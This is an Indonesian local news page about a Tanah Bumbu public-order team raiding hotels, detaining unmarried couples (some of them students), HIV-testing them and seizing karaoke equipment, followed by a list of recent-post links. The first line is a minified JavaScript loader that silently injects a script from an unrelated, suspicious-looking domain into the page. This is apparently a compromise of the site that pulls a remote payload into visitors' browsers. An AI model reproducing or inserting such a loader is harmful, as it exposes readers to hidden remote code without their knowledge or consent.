(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Satpol PP Tanbu Menciduk Pasangan Mesum di Hotel


KANALKALIMANTAN.COM, BATULICIN – Satuan Polisi Pamong Praja dan Pemadam Kebakaran (Satpol PP Damkar) Kabupaten Tanah Bumbu gelar operasi penertiban umum.

Menegakkan Peraturan Daerah (Perda) Kabupaten Tanah Bumbu nomor 09 tahun 2018 tentang ketertiban umum, Satpol PP Damkar Tambu menyasar sejumlah tempat yang melanggar ketertiban umum.

Penertiban digelar pada Rabu (14/9/2022) malam, Satpol PP Damkar Tanbu menyisir sejumlah hotel dan penginapan.

Saat operasi penyisiran itu Satpol PP mendapati sejumlah pasangan yang bukan suami istri di dalam kamar hotel, bahkan ada yang masih berstatus pelajar.

 

 

Baca juga: MTQ Nasional Makin Dekat, Begini Progres Persiapan Jalur oleh Dinas PUPR Kalsel

Kepala Satpol PP Damkar Tanbu, Anwar Salujang menjelaskan, sebanyak 11 orang yang ditemukan dan diperiksa untuk dimintai keterangan.

Mereka langsung dilakukan pemeriksaan HIV/AIDS oleh Komisi Penanggulangan AIDS Kabupaten Tanah Bumbu, dengan hasil negatif.

Hotel dan tempat hiburan malam di Tanbu juga didapati dua pasangan bukan suami isteri terjaring razia di salah satu kamar hotel pada Sabtu (17/9/2022) lalu.

“Pukul 24.00-00.30 wita, petugas Satpol PP melakukan pemeriksaan tamu yang bermalam di salah satu hotel, dan ditemukan 4 orang bukan pasangan suami isteri di dua kamar berbeda,” ujar Anwar Salujang, Selasa (20/9/2022).

Pasangan bukan suami isteri tersebut dibawa ke kantor Dinas Satpol PP dan Damkar Tanbu untuk dilakukan pemeriksaan lebih lanjut.

Masih pada malam yang sama, petugas Satpol PP melakukan pemeriksaan dan penyitaan alat-alat karaoke dari dua tempat hiburan malam (THM) di Kecamatan Simpang Empat atas dasar laporan warga setempat.

Baca juga: Emak-emak Pengutil Susu Kotak di Minimarket Berakhir di Tangan Polisi

Dalam giat penegakan Perda ketertiban umum dan ketentraman masyarakat tersebut menurunkan sebanyak 8 personel terdiri dari 6 personel Satpol PP dan 2 personil dari Denpom. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

38 menit ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

16 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

19 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

22 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

23 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

23 jam ago

This website uses cookies.